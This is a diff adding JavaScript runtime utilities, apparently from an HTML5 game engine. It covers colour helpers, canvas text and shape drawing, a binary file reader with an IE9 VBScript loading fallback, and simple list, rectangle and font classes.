+ return (rgb >>> 16) & 0xFF;
+ }
+ CServices.getGValueFlash = function (rgb)
+ {
+ return (rgb >>> 8) & 0xFF;
+ }
+ CServices.getBValueFlash = function (rgb)
+ {
+ return rgb & 0xFF;
+ }
+ CServices.RGBFlash = function (r, g, b)
+ {
+ return (r & 0xFF) << 16 | (g & 0xFF) << 8 | (b & 0xFF);
+ }
+ CServices.swapRGB = function (rgb)
+ {
+ var r = (rgb >>> 16) & 0xFF;
+ var g = (rgb >>> 8) & 0xFF;
+ var b = rgb & 0xFF;
+ return (b & 0xFF) << 16 | (g & 0xFF) << 8 | (r & 0xFF);
+ }
+ CServices.clamp = function (val, a, b)
+ {
+ return Math.min(Math.max(val, a), b);
+ }
+ CServices.getColorString = function (rgb)
+ {
+ var r = ((rgb >>> 16) & 0xFF).toString(16);
+ var g = ((rgb >>> 8) & 0xFF).toString(16);
+ var b = (rgb & 0xFF).toString(16);
+ while (r.length < 2)
+ r = '0' + r;
+ while (g.length < 2)
+ g = '0' + g;
+ while (b.length < 2)
+ b = '0' + b;
+
+ return '#' + r + g + b;
+ }
+ CServices.floatToInt = function (value)
+ {
+ if (value < 0)
+ return Math.ceil(value);
+ else
+ return Math.floor(value);
+ }
+ CServices.approximateInt = function (value)
+ {
+ return Math.round(value);
+ }
+ CServices.isInt = function (value)
+ {
+ return Math.ceil(value) == value;
+ }
+ CServices.createEllipse = function (ctx, x, y, w, h)
+ {
+ var kappa = .5522848;
+ ox = (w / 2) * kappa, // control point offset horizontal
+ oy = (h / 2) * kappa, // control point offset vertical
+ xe = x + w, // x-end
+ ye = y + h, // y-end
+ xm = x + w / 2, // x-middle
+ ym = y + h / 2; // y-middle
+
+ ctx.beginPath();
+ ctx.moveTo(x, ym);
+ ctx.bezierCurveTo(x, ym - oy, xm - ox, y, xm, y);
+ ctx.bezierCurveTo(xm + ox, y, xe, ym - oy, xe, ym);
+ ctx.bezierCurveTo(xe, ym + oy, xm + ox, ye, xm, ye);
+ ctx.bezierCurveTo(xm - ox, ye, x, ym + oy, x, ym);
+ ctx.closePath();
+ }
+ CServices.drawRect = function (context, rc)
+ {
+ context.beginPath();
+ context.moveTo(rc.left, rc.top);
+ context.lineTo(rc.right, rc.top);
+ context.lineTo(rc.right, rc.bottom);
+ context.lineTo(rc.left, rc.bottom);
+ context.lineTo(rc.left, rc.top);
+ context.closePath();
+ context.stroke();
+ }
+ CServices.drawLine = function (context, x1, y1, x2, y2)
+ {
+ context.beginPath();
+ context.moveTo(x1, y1);
+ context.lineTo(x2, y2);
+ context.closePath();
+ context.stroke();
+ }
+ CServices.formatDiscName = function (number, extension)
+ {
+ var s = number.toString();
+ while (s.length < 4)
+ s = '0' + s;
+ s += '.' + extension;
+ return s;
+ }
+ CServices.compareStringsIgnoreCase = function (string1, string2)
+ {
+ if (string1 == string2) return true;
+ string1 = string1.toLowerCase();
+ string2 = string2.toLowerCase();
+ return (string1 == string2);
+ }
+ CServices.parseName = function (name)
+ {
+ var pos = name.lastIndexOf("\\");
+ if (pos > 0)
+ {
+ name = name.substring(pos + 1);
+ }
+ return name;
+ }
+ CServices.MAX_HEIGHTS = 40;
+ CServices.aHeightNormalToLF =
+ [
+ 0, // 0
+ 1, // 1
+ 2, // 2
+ 3, // 3
+ 5, // 4
+ 7, // 5
+ 8, // 6
+ 9, // 7
+ 11, // 8
+ 12, // 9
+ 13, // 10
+ 15, // 11
+ 16, // 12
+ 17, // 13
+ 19, // 14
+ 20, // 15
+ 21, // 16
+ 23, // 17
+ 24, // 18
+ 25, // 19
+ 27, // 20
+ 28, // 21
+ 29, // 22
+ 31, // 23
+ 32, // 24
+ 33, // 25
+ 35, // 26
+ 36, // 27
+ 37, // 28
+ 39, // 29
+ 40, // 30
+ 41, // 31
+ 43, // 32
+ 44, // 33
+ 45, // 34
+ 47, // 35
+ 48, // 36
+ 49, // 37
+ 51, // 38
+ 52 // 39
+ ];
+
+ CServices.heightNormalToLF = function (height)
+ {
+ if (height < CServices.MAX_HEIGHTS)
+ {
+ return CServices.aHeightNormalToLF[height];
+ }
+ return Math.round((height * 96) / 72);
+ }
+
+ CServices.DT_LEFT = 0x0000;
+ CServices.DT_TOP = 0x0000;
+ CServices.DT_CENTER = 0x0001;
+ CServices.DT_RIGHT = 0x0002;
+ CServices.DT_BOTTOM = 0x0008;
+ CServices.DT_VCENTER = 0x0004;
+ CServices.DT_SINGLELINE = 0x0020;
+ CServices.DT_CALCRECT = 0x0400;
+ CServices.DT_VALIGN = 0x0800;
+ CServices.drawText = function (context, s, flags, rc, font, displayArray)
+ {
+ if (s.length == 0)
+ {
+ if ((flags & 0x0400) != 0)
+ {
+ rc.right = rc.left;
+ rc.bottom = rc.top;
+ }
+ return 0;
+ }
+
+ if (!font.isGraphic)
+ context.font = font.getFont();
+ //CServices.fontHeight = font.getHeight();
+
+ var maxHeight = 0;
+ var char10 = String.fromCharCode(10);
+ var char13 = String.fromCharCode(13);
+
+ // Is there a "new line" character?
+ var index = s.indexOf(char10);
+ if (index >= 0)
+ {
+ // Yes, draw lines one by one
+ var rc2 = new CRect();
+ rc2.copyRect(rc);
+ var sub;
+ var h;
+ var prevIndex = 0;
+ var maxWidth = 0;
+ var index2, nextIndex;
+
+ do
+ {
+ index2 = -1;
+ if (prevIndex < s.length)
+ {
+ index2 = s.indexOf(char13, prevIndex);
+ }
+ nextIndex = Math.max(index, index2);
+ if (index2 == index - 1)
+ {
+ index--;
+ }
+ sub = s.substring(prevIndex, index);
+ h = CServices.drawIt(context, sub, flags, rc2, displayArray, font);
+ maxWidth = Math.max(maxWidth, rc2.right - rc2.left);
+ maxHeight += h;
+ rc2.top += h;
+ rc2.bottom = rc.bottom;
+ rc2.right = rc.right;
+ prevIndex = nextIndex + 1;
+ index = -1;
+ if (prevIndex < s.length) {
+ index = s.indexOf(char10, prevIndex);
+ }
+ else {
+ // Draw an empty line if the text ends with CR/LF characters
+ h = CServices.drawIt(context, "", flags, rc2, displayArray, font);
+ maxWidth = Math.max(maxWidth, rc2.right - rc2.left);
+ maxHeight += h;
+ rc2.top += h;
+ rc2.bottom = rc.bottom;
+ rc2.right = rc.right;
+ }
+ } while (index >= 0);
+ if (prevIndex < s.length)
+ {
+ sub = s.substring(prevIndex);
+ h = CServices.drawIt(context, sub, flags, rc2, displayArray, font);
+ maxWidth = Math.max(maxWidth, rc2.right - rc2.left);
+ maxHeight += h;
+ }
+ if ((flags & CServices.DT_CALCRECT) != 0)
+ {
+ rc.right = rc.left + maxWidth;
+ rc.bottom = rc2.bottom;
+ return maxHeight;
+ }
+ return maxHeight;
+ }
+
+ // No "new line" character, draw a single line
+ maxHeight = CServices.drawIt(context, s, (flags | CServices.DT_VALIGN), rc, displayArray, font);
+ return maxHeight;
+ }
+ CServices.xPos = null;
+ //CServices.fontHeight = 0;
+ CServices.drawIt = function (context, s, flags, rc, displayArray, font)
+ {
+ if (s.length == 0)
+ {
+ s = " ";
+ }
+
+ var hLine;
+ var spaceWidth;
+ hLine = font.getHeight();
+ if (font.isGraphic)
+ spaceWidth = font.measureText(" ");
+ else
+ spaceWidth = context.measureText(" ").width;
+
+ var rectWidth = rc.right - rc.left;
+ var startSpace = 0;
+ var currentSpace = 0;
+ var previousSpace;
+ var firstSpace = 0;
+ var x;
+ var width = 0;
+ var height = 0;
+ var currentXPos;
+ if (CServices.xPos == null)
+ {
+ CServices.xPos = new Array(100);
+ }
+ var sx;
+ var ss;
+ var bQuit = false;
+ var bContinue = false;
+
+ var y = rc.top;
+ var hCalcul = hLine;
+ if ((hCalcul & 1) != 0)
+ {
+ hCalcul++;
+ }
+ /* if ((flags & CServices.DT_VALIGN) != 0)
+ {
+ if ((flags & CServices.DT_VCENTER) != 0)
+ {
+ y = rc.top + (rc.bottom - rc.top) / 2 - hCalcul / 2;
+ }
+ else if ((flags & CServices.DT_BOTTOM) != 0)
+ {
+ y = rc.bottom - hLine;
+ }
+ }
+ */
+ var yTop = y;
+ do
+ {
+ firstSpace = startSpace;
+ currentXPos = 0;
+ x = 0;
+ height += hLine;
+ do
+ {
+ CServices.xPos[currentXPos] = x;
+ currentXPos += 1;
+ previousSpace = currentSpace;
+ currentSpace = -1;
+ if (firstSpace < s.length)
+ currentSpace = s.indexOf(" ", firstSpace);
+ if (currentSpace == -1)
+ currentSpace = s.length;
+ if (currentSpace < firstSpace)
+ {
+ x -= spaceWidth;
+ break;
+ }
+ ss = s.substring(firstSpace, currentSpace);
+ if (font.isGraphic)
+ sx = font.measureText(ss);
+ else
+ sx = context.measureText(ss).width;
+ if (x + sx > rectWidth)
+ {
+ currentXPos--;
+ if (currentXPos > 0)
+ {
+ sx -= spaceWidth;
+ x -= spaceWidth;
+ currentSpace = previousSpace;
+ break;
+ }
+ var c;
+ for (c = firstSpace; c < currentSpace; c++)
+ {
+ if (font.isGraphic)
+ sx = font.measureText(s.substring(c, c + 1));
+ else
+ sx = context.measureText(s.substring(c, c + 1)).width;
+ if (x + sx >= rectWidth)
+ {
+ c--;
+ if (c > 0)
+ {
+ width = Math.max(x, width);
+ if ((flags & CServices.DT_CALCRECT) == 0)
+ {
+ if ((flags & CServices.DT_CENTER) != 0)
+ {
+ x = rc.left + (rc.right - rc.left) / 2 - x / 2;
+ }
+ else if ((flags & CServices.DT_RIGHT) != 0)
+ {
+ x = rc.right - x;
+ }
+ else
+ {
+ x = rc.left;
+ }
+ ss = s.substring(firstSpace, c);
+ displayArray.push(new CDisplayText(x, y, ss));
+ }
+ currentSpace = c - 1;
+ bQuit = true;
+ bContinue = true;
+ break;
+ }
+ currentSpace = -1;
+ if (c < s.length)
+ {
+ currentSpace = s.indexOf(" ", c);
+ }
+ else
+ {
+ currentSpace = -1;
+ }
+ bQuit = true;
+ if (currentSpace >= 0)
+ {
+ bContinue = true;
+ }
+ break;
+ }
+ x += sx;
+ }
+ }
+ if (bQuit)
+ {
+ break;
+ }
+ x += sx;
+ if (x + spaceWidth > rectWidth)
+ {
+ break;
+ }
+ x += spaceWidth;
+ firstSpace = currentSpace + 1;
+ } while (true);
+ if (bContinue == false)
+ {
+ if (bQuit)
+ {
+ break;
+ }
+ width = Math.max(x, width);
+ var n;
+ if ((flags & CServices.DT_CALCRECT) == 0)
+ {
+ if ((flags & CServices.DT_CENTER) != 0)
+ x = rc.left + (rc.right - rc.left) / 2 - x / 2;
+ else if ((flags & CServices.DT_RIGHT) != 0)
+ x = rc.right - x;
+ else
+ x = rc.left;
+ firstSpace = startSpace;
+ for (n = 0; n < currentXPos; n++)
+ {
+ currentSpace = -1;
+ if (firstSpace < s.length)
+ currentSpace = s.indexOf(" ", firstSpace);
+ if (currentSpace == -1)
+ currentSpace = s.length;
+ if (currentSpace < firstSpace)
+ break;
+ ss = s.substring(firstSpace, currentSpace);
+ displayArray.push(new CDisplayText(x + CServices.xPos[n], y, ss));
+ firstSpace = currentSpace + 1;
+ }
+ }
+ }
+ bQuit = false;
+ bContinue = false;
+ y += hLine;
+ startSpace = currentSpace + 1;
+ } while (startSpace < s.length);
+
+ rc.right = rc.left + width;
+ rc.bottom = yTop + height;
+ return height;
+ }
+
+ CServices.displayText = function (context, x, y, displayArray, font, color, effect, effectParam)
+ {
+ var n, element;
+ if (!font.isGraphic)
+ {
+ context.font = font.getFont();
+ //CServices.fontHeight = font.getHeight();
+ context.fillStyle = CServices.getColorString(color);
+ context.textAlign = "left";
+ context.textBaseline = "top";
+ for (n = 0; n < displayArray.length; n++)
+ {
+ element = displayArray[n];
+ context.fillText(element.text, x + element.x, y + element.y);
+ }
+ }
+ else
+ {
+ for (n = 0; n < displayArray.length; n++)
+ {
+ element = displayArray[n];
+ font.fillText(context, element.text, x + element.x, y + element.y);
+ }
+ }
+ }
+
+ CServices.intToString = function (value, displayFlags)
+ {
+ var s = value.toString();
+ if ((displayFlags & CCounter.CPTDISPFLAG_INTNDIGITS) != 0)
+ {
+ var nDigits = displayFlags & CCounter.CPTDISPFLAG_INTNDIGITS;
+ if (s.length > nDigits)
+ {
+ s = s.substring(s.length - nDigits);
+ }
+ else
+ {
+ while (s.length < nDigits)
+ {
+ s = "0" + s;
+ }
+ }
+ }
+ return s;
+ }
+
+ CServices.doubleToString = function (value, displayFlags)
+ {
+ var s;
+ if ((displayFlags & CCounter.CPTDISPFLAG_FLOAT_FORMAT) == 0)
+ {
+ s = value.toString();
+ }
+ else
+ {
+ var bRemoveTrailingZeros = false;
+ var nDigits = Math.floor(((displayFlags & CCounter.CPTDISPFLAG_FLOATNDIGITS) >> CCounter.CPTDISPFLAG_FLOATNDIGITS_SHIFT) + 1);
+ var nDecimals = -1;
+ if ((displayFlags & CCounter.CPTDISPFLAG_FLOAT_USENDECIMALS) != 0)
+ nDecimals = ((displayFlags & CCounter.CPTDISPFLAG_FLOATNDECIMALS) >> CCounter.CPTDISPFLAG_FLOATNDECIMALS_SHIFT);
+ else if (value != 0.0 && value > -1.0 && value < 1.0)
+ {
+ nDecimals = nDigits;
+ bRemoveTrailingZeros = true;
+ }
+ if (nDecimals < 0)
+ {
+ s = value.toPrecision(nDigits);
+ }
+ else
+ {
+ s = value.toFixed(nDecimals);
+ }
+ var l, n;
+ var ss;
+ if ((displayFlags & CCounter.CPTDISPFLAG_FLOAT_PADD) != 0)
+ {
+ l = 0;
+ for (n = 0; n < s.length; n++)
+ {
+ ss = s.charAt(n);
+ if (ss != "." && ss != "+" && ss != "-" && ss != "e" && ss != "E")
+ l++;
+ }
+ }
+ var bFlag = false;
+ if (s.charAt(0) == "-")
+ {
+ bFlag = true;
+ s = s.substr(1);
+ }
+ while (l < nDigits)
+ {
+ s = "0" + s;
+ l++;
+ }
+ if (bFlag)
+ {
+ s = "-" + s;
+ }
+ }
+ return s;
+ }
+
+ CServices.subtractFilename = function (destination, source)
+ {
+ var tempDest = destination;
+ var tempSource = source;
+ var pos = tempSource.indexOf("\\");
+ while (pos >= 0)
+ {
+ if (tempDest.substring(0, pos) == tempSource.substring(0, pos))
+ {
+ tempSource = tempSource.substring(pos + 1);
+ tempDest = tempDest.substring(pos + 1);
+ }
+ pos = tempSource.indexOf("\\", pos + 1);
+ }
+ return tempDest;
+ }
+
+ // CDisplayText object
+ // --------------------------------------------------------------
+ function CDisplayText(xx, yy, s)
+ {
+ this.x = xx;
+ this.y = yy;
+ this.text = s;
+ }
+
+
+ // CFile Object
+ // -----------------------------------------------------------------
+
+
+ // For IE9
+ var bUseAjax = false;
+ var bUseBlob = false;
+ var bUseBinaryString = false;
+
+ var req = window['XMLHttpRequest'] ? new XMLHttpRequest() : null;
+
+ if (!req || !req.overrideMimeType)
+ {
+ bUseAjax = true;
+ var script = document.createElement('script');
+ script.type = "text/vbscript";
+ script.innerHTML = 'Function BinFileReaderImpl_IE_VBAjaxLoader(fileName)\n\
+ Dim xhr\n\
+ Set xhr = CreateObject("Microsoft.XMLHTTP")\n\
+ xhr.Open "GET", fileName, False\n\
+ xhr.setRequestHeader "Accept-Charset", "x-user-defined"\n\
+ xhr.send\n\
+ Dim byteArray()\n\
+ if xhr.Status = 200 Then\n\
+ Dim byteString\n\
+ Dim i\n\
+ byteString=xhr.responseBody\n\
+ ReDim byteArray(LenB(byteString))\n\
+ For i = 1 To LenB(byteString)\n\
+ byteArray(i-1) = AscB(MidB(byteString, i, 1))\n\
+ Next\n\
+ End If\n\
+ BinFileReaderImpl_IE_VBAjaxLoader=byteArray\n\
+ End Function';
+
+ document.head.appendChild(script);
+ }
+ else
+ {
+ try
+ {
+ bUseBlob = typeof new XMLHttpRequest()["responseType"] === 'string';
+ if (navigator.userAgent.toLowerCase().indexOf('safari') >= 0)
+ bUseBlob = false;
+ }
+ catch (e)
+ {
+ }
+ }
+ if (bUseBlob)
+ {
+ var reader = new FileReader();
+ try
+ {
+ if (reader["readAsBinaryString"])
+ bUseBinaryString = true;
+ }
+ catch (e)
+ {
+ }
+ reader = null;
+ }
+ req = null;
+
+ function CFile()
+ {
+ this.ccfBytes = "";
+ this.pointer = 0;
+ this.offset = 0;
+ this.bUnicode = false;
+ }
+
+ CFile.prototype =
+ {
+
+ readUnsignedByte: function ()
+ {
+ return this.ccfBytes.charCodeAt(this.pointer++) & 0xFF;
+ },
+ getChecksum: function ()
+ {
+ var n;
+ var count = 0;
+ for (n = 0; n < this.end; n++)
+ count += (this.ccfBytes.charCodeAt(n) & 0xFF) ^ 0xAA;
+ return count;
+ },
+ getFile: function (fileName, callback, size)
+ {
+ this.callback = callback;
+
+ if (!bUseAjax)
+ {
+ var request = new XMLHttpRequest();
+ request["open"]('GET', fileName, true);
+ var that = this;
+
+ if (bUseBlob)
+ {
+ request["responseType"] = "blob";
+ request["onload"] = function ()
+ {
+ if (request["readyState"] == 4)
+ {
+ if (request["status"] == 200)
+ {
+ var reader = new FileReader();
+ reader["onloadend"] = function ()
+ {
+ if (bUseBinaryString)
+ that.ccfBytes += reader["result"];
+ else
+ {
+ var array = new Uint8Array(reader["result"]);
+ var n;
+ for (n = 0; n < array.length; n++)
+ that.ccfBytes += String.fromCharCode(array[n]);
+ }
+ that.end = that.ccfBytes.length;
+ that.callback();
+ }
+ if (bUseBinaryString)
+ reader.readAsBinaryString(request["response"]);
+ else
+ reader.readAsArrayBuffer(request["response"]);
+ }
+ }
+ }
+ request["send"](null);
+ }
+ else
+ {
+ request["overrideMimeType"]('text/plain; charset=x-user-defined');
+ request["onload"] = function ()
+ {
+ if (request["readyState"] == 4)
+ {
+ if (request["status"] == 200)
+ {
+ that.ccfBytes += request["responseText"];
+ that.end = that.ccfBytes.length;
+ that.callback();
+ }
+ }
+ }
+ request.send(null);
+ }
+ }
+ else
+ {
+ try
+ {
+ var array = BinFileReaderImpl_IE_VBAjaxLoader(fileName)['toArray']()
+ var n;
+ var length = array.length;
+ if (length > size)
+ length = size;
+ for (n = 0; n < length; n++)
+ this.ccfBytes += String.fromCharCode(array[n]);
+ this.end = this.ccfBytes.length;
+ this.callback();
+ }
+ catch (error)
+ {
+ }
+ }
+ },
+ openFileASync: function (fileName, parent)
+ {
+ this.parent = parent;
+ var request = new XMLHttpRequest();
+ request.open('GET', fileName, true);
+ request.overrideMimeType('text/plain; charset=x-user-defined');
+ var that = this;
+ request.onload = function ()
+ {
+ if (request.readyState == 4)
+ {
+ if (request.status == 200)
+ {
+ that.ccfBytes = request.responseText;
+ that.end = that.ccfBytes.length;
+ that.pointer = 0;
+ that.offset = 0;
+ that.bUnicode = false;
+ that.parent.dataReceived(true);
+ return;
+ }
+ }
+ }
+ request.send(null);
+ },
+ getBytes: function ()
+ {
+ return this.ccfBytes;
+ },
+ setBinary: function (binary)
+ {
+ this.ccfBytes = binary;
+ this.end = binary.length;
+ var that = this;
+ this.readUnsignedByte = function ()
+ {
+ return that.ccfBytes.charCodeAt(that.pointer++) & 0xFF;
+ }
+ },
+ createFromFile: function (offset, length)
+ {
+ var file = new CFile();
+ file.ccfBytes = this.ccfBytes;
+ file.offset = offset;
+ file.pointer = offset;
+ file.end = offset + length;
+ file.bUnicode = this.bUnicode;
+ return file;
+ },
+
+ getLength: function ()
+ {
+ return this.end - this.offset;
+ },
+
+ setUnicode: function (unicode)
+ {
+ this.bUnicode = unicode;
+ },
+ detectUnicode: function()
+ {
+ var b1 = this.readUnsignedByte();
+ var b2 = this.readUnsignedByte();
+ var b3 = this.readUnsignedByte();
+ if (b1 == 0xFF && b2 == 0xFE)
+ {
+ this.bUnicode = true; // UTF16
+ this.pointer--;
+ }
+ else if (b1 == 0xEF && b2 == 0xBB && b3 == 0xBF)
+ {
+ this.bUnicode = false; // UTF8
+ }
+ else
+ {
+ this.bUnicode = false; // ASCII
+ this.pointer -= 3;
+ }
+ },
+ skipBytes: function (skip)
+ {
+ this.pointer += skip;
+ },
+
+ adjustTo8: function ()
+ {
+ if ((this.pointer & 0x07) != 0)
+ {
+ this.pointer += 8 - (this.pointer & 0x07);
+ }
+ },
+
+ isEOF: function ()
+ {
+ return this.pointer >= this.end;
+ },
+
+ readInString: function (len)
+ {
+ var n, s = "";
+ for (n = 0; n < len; n++)
+ s += String.fromCharCode(this.readUnsignedByte());
+ return s;
+ },
+
+ readAByte: function ()
+ {
+ return this.readUnsignedByte();
+ },
+
+ readAShort: function ()
+ {
+ var b1, b2;
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ return b2 * 256 + b1;
+ },
+
+ readShort: function ()
+ {
+ var b1, b2;
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ var value = b2 * 256 + b1;
+ if (value < 32768)
+ return value;
+ else
+ return value - 65536;
+ },
+
+ readAChar: function ()
+ {
+ var b1, b2;
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ return (b2 * 256 + b1);
+ },
+
+ readACharArray: function (size)
+ {
+ var c = new Array();
+ var b1, b2;
+ var n;
+ for (n = 0; n < size; n++)
+ {
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ c[n] = (b2 * 256 + b1);
+ }
+ return c;
+ },
+
+ readAInt: function ()
+ {
+ var b1, b2, b3, b4;
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ b3 = this.readUnsignedByte();
+ b4 = this.readUnsignedByte();
+ var value = b4 * 0x01000000 + b3 * 0x00010000 + b2 * 0x00000100 + b1;
+ if (value <= 0x7FFFFFFF)
+ return value;
+ else
+ return value - 0x100000000;
+
+ },
+
+ readAColor: function ()
+ {
+ var b1, b2, b3;
+ var c;
+
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ b3 = this.readUnsignedByte();
+ this.readUnsignedByte();
+
+ c = b1 * 0x00010000 + b2 * 0x00000100 + b3;
+ return c;
+ },
+
+ readAFloat: function ()
+ {
+ var b1, b2, b3, b4;
+
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ b3 = this.readUnsignedByte();
+ b4 = this.readUnsignedByte();
+ var total = b4 * 0x01000000 + b3 * 0x00010000 + b2 * 0x00000100 + b1;
+ if (total > 0x80000000)
+ {
+ total -= 0xFFFFFFFF;
+ }
+ return total / 65536.0;
+ },
+
+ readADouble: function ()
+ {
+ var b1, b2, b3, b4, b5, b6, b7, b8;
+
+ b1 = this.readUnsignedByte();
+ b2 = this.readUnsignedByte();
+ b3 = this.readUnsignedByte();
+ b4 = this.readUnsignedByte();
+ b5 = this.readUnsignedByte();
+ b6 = this.readUnsignedByte();
+ b7 = this.readUnsignedByte();
+ b8 = this.readUnsignedByte();
+
+ var total = b8 * 0x0100000000000000 + b7 * 0x0001000000000000 + b6 * 0x0000010000000000 + b5 * 0x0000000100000000 + b4 * 0x01000000 + b3 * 0x00010000 + b2 * 0x00000100 + b1;
+ if (total > 0x8000000000000000)
+ {
+ total -= 0xFFFFFFFFFFFFFFFF;
+ }
+ return total / 0x100000000;
+ },
+
+ readAString: function (length)
+ {
+ var string = "";
+ if (!this.bUnicode)
+ {
+ if (arguments.length < 1)
+ {
+ if (this.isEOF())
+ return string;
+
+ var begin = this.pointer;
+ var b = this.readUnsignedByte();
+ while (b && !this.isEOF())
+ b = this.readUnsignedByte();
+
+ var stringLength = this.pointer - begin - 1;
+ this.pointer = begin;
+
+ string = this.readAString(stringLength);
+ this.readUnsignedByte();
+
+ return string;
+ }
+ else
+ {
+ var c;
+ var begin = this.pointer;
+ for (var i = 0; i < length; ++i)
+ {
+ c = this.readUnsignedByte();
+ if (c == 0)
+ break;
+ string += String.fromCharCode(c);
+ }
+ this.pointer = begin + length;
+ return string;
+ }
+ }
+ else
+ {
+ if (arguments.length < 1)
+ {
+ if (this.isEOF())
+ return string;
+
+ var begin = this.pointer;
+
+ var b = this.readAChar();
+ while (b && !this.isEOF())
+ b = this.readAChar();
+
+ var stringLength = (this.pointer - begin - 2) / 2;
+ this.pointer = begin;
+
+ string = this.readAString(stringLength);
+ this.readUnsignedByte();
+ this.readUnsignedByte();
+
+ return string;
+ }
+ else
+ {
+ string = '';
+ var begin = this.pointer;
+ var c;
+ for (var i = 0; i < length; i++)
+ {
+ c = this.readAChar();
+ if (c == 0)
+ break;
+ string += String.fromCharCode(c);
+ }
+ this.pointer = begin + length * 2;
+ return string;
+ }
+ }
+ },
+ readAStringEOL: function ()
+ {
+ var debut = this.pointer;
+ var b;
+ var ret = "";
+ var end;
+ var delta;
+ var bb;
+
+ if (this.bUnicode == false)
+ {
+ if (this.isEOF())
+ return;
+
+ b = this.readUnsignedByte();
+ while (b != 10 && b != 13 && !this.isEOF())
+ b = this.readUnsignedByte();
+
+ end = this.pointer;
+ this.pointer = debut;
+ delta = 1;
+ if (b != 10 && b != 13)
+ delta = 0;
+
+ if (end > debut + delta)
+ {
+ ret = this.readAString(end - debut - delta);
+ }
+ if (b == 10 || b == 13)
+ {
+ this.readUnsignedByte();
+ bb = this.readAByte();
+ if (b == 10 && bb != 13)
+ {
+ this.pointer--;
+ }
+ if (b == 13 && bb != 10)
+ {
+ this.pointer--;
+ }
+ }
+ return ret;
+ }
+ else
+ {
+ if (this.isEOF())
+ return;
+
+ b = this.readAChar();
+ while (b != 10 && b != 13 && !this.isEOF())
+ b = this.readAChar();
+
+ end = this.pointer;
+ this.pointer = debut;
+ delta = 2;
+ if (b != 10 && b != 13)
+ delta = 0;
+ if (end > debut + delta)
+ ret = this.readAString((end - debut - delta) / 2);
+
+ if (b == 10 || b == 13)
+ {
+ this.pointer += 2;
+ bb = this.readAChar();
+ if (b == 10 && bb != 13)
+ this.pointer -= 2;
+ if (b == 13 && bb != 10)
+ this.pointer -= 2;
+ }
+ return ret;
+ }
+ },
+
+ skipAString: function ()
+ {
+ var b;
+ if (this.bUnicode == false)
+ {
+ do
+ {
+ b = this.readUnsignedByte();
+ } while (b != 0 && !this.EOF());
+ }
+ else
+ {
+ do
+ {
+ b = this.readAChar();
+ } while (b != 0 && !this.EOF());
+ }
+ },
+
+ getFilePointer: function ()
+ {
+ return this.pointer;
+ },
+
+ seek: function (pos)
+ {
+ if (pos >= this.end)
+ {
+ pos = this.end;
+ }
+ this.pointer = pos;
+ },
+
+ skipBack: function (n)
+ {
+ var pos = this.pointer;
+ pos -= n;
+ if (pos < 0)
+ pos = 0;
+ this.pointer = pos;
+ },
+
+ readBytesAsArray: function (a)
+ {
+ var n;
+ var size = a.length;
+ for (n = 0; n < size; n++)
+ a[n] = this.readUnsignedByte();
+ },
+
+ readBuffer: function (size)
+ {
+ var buffer = new Array();
+ var i;
+
+ for (i = 0; i < size; i++)
+ buffer[i] = this.readUnsignedByte();
+
+ return buffer;
+ },
+
+ readLogFont: function ()
+ {
+ var lf = new CFontInfo();
+ lf.readLogFont(this);
+ return lf;
+ },
+
+ readLogFont16: function ()
+ {
+ var lf = new CFontInfo();
+ lf.readLogFont16(this);
+ return lf;
+ }
+ }
+
+
+ // CArrayList Object
+ // -----------------------------------------------------------------
+ function CArrayList()
+ {
+ this.array = new Array();
+ }
+ CArrayList.prototype =
+ {
+ add: function (o)
+ {
+ this.array.push(o);
+ },
+ isEmpty: function ()
+ {
+ return this.array.length();
+ },
+ insert: function (index, o)
+ {
+ this.array.splice(index, 0, o);
+ },
+ get: function (index)
+ {
+ if (index < this.array.length)
+ {
+ return this.array[index];
+ }
+ return null;
+ },
+ put: function (index, o)
+ {
+ this.array[index] = o;
+ },
+ set: function (index, o)
+ {
+ if (index < this.array.length)
+ {
+ this.array[index] = o;
+ }
+ },
+ removeIndex: function (index)
+ {
+ if (index < this.array.length)
+ {
+ this.array.splice(index, 1);
+ }
+ },
+ indexOf: function (o)
+ {
+ return this.array.indexOf(o);
+ },
+ contains: function (o)
+ {
+ return this.array.indexOf(o) >= 0;
+ },
+ removeObject: function (o)
+ {
+ var n = this.array.indexOf(o);
+ if (n >= 0)
+ this.array.splice(n, 1);
+ },
+ size: function ()
+ {
+ return this.array.length;
+ },
+ clear: function ()
+ {
+ this.array.length = 0;
+ }
+ }
+
+ // CRect object
+ // -------------------------------------------------------------
+ function CRect(l, t, r, b)
+ {
+ if (l)
+ this.left = l
+ else
+ this.left = 0;
+
+ if (t)
+ this.top = t
+ else
+ this.top = 0;
+
+ if (r)
+ this.right = r;
+ else
+ this.right = 0;
+
+ if (b)
+ this.bottom = b;
+ else
+ this.bottom = 0;
+ }
+ CRect.prototype =
+ {
+ load: function (file)
+ {
+ this.left = file.readAInt();
+ this.top = file.readAInt();
+ this.right = file.readAInt();
+ this.bottom = file.readAInt();
+ },
+
+ copyRect: function (srce)
+ {
+ this.left = srce.left;
+ this.right = srce.right;
+ this.top = srce.top;
+ this.bottom = srce.bottom;
+ },
+
+ ptInRect: function (x, y)
+ {
+ if (x >= this.left && x < this.right && y >= this.top && y < this.bottom)
+ return true;
+ return false;
+ },
+
+ intersectRect: function (rc)
+ {
+ if ((this.left >= rc.left && this.left < rc.right) || (this.right >= rc.left && this.right < rc.right) || (rc.left >= this.left && rc.left < this.right) || (rc.right >= this.left && rc.right < this.right))
+ {
+ if ((this.top >= rc.top && this.top < rc.bottom) || (this.bottom >= rc.top && this.bottom < rc.bottom) || (rc.top >= this.top && rc.top < this.bottom) || (rc.bottom >= this.top && rc.bottom < this.bottom))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+
+ // CPoint object
+ // ------------------------------------------------------------
+ function CPoint()
+ {
+ this.x = 0;
+ this.y = 0;
+ }
+
+ // CZone object
+ // ------------------------------------------------------------
+ function CZone()
+ {
+ this.x1 = 0;
+ this.y1 = 0;
+ this.x2 = 0;
+ this.y2 = 0;
+ }
+
+
+ // CFontthis object
+ // ------------------------------------------------------------
+ function CFontInfo()
+ {
+ this.lfHeight = 12;
+ this.lfWeight = 400;
+ this.lfItalic = 0;
+ this.lfFaceName = "Arial";
+ this.isGraphic = false;
+ }
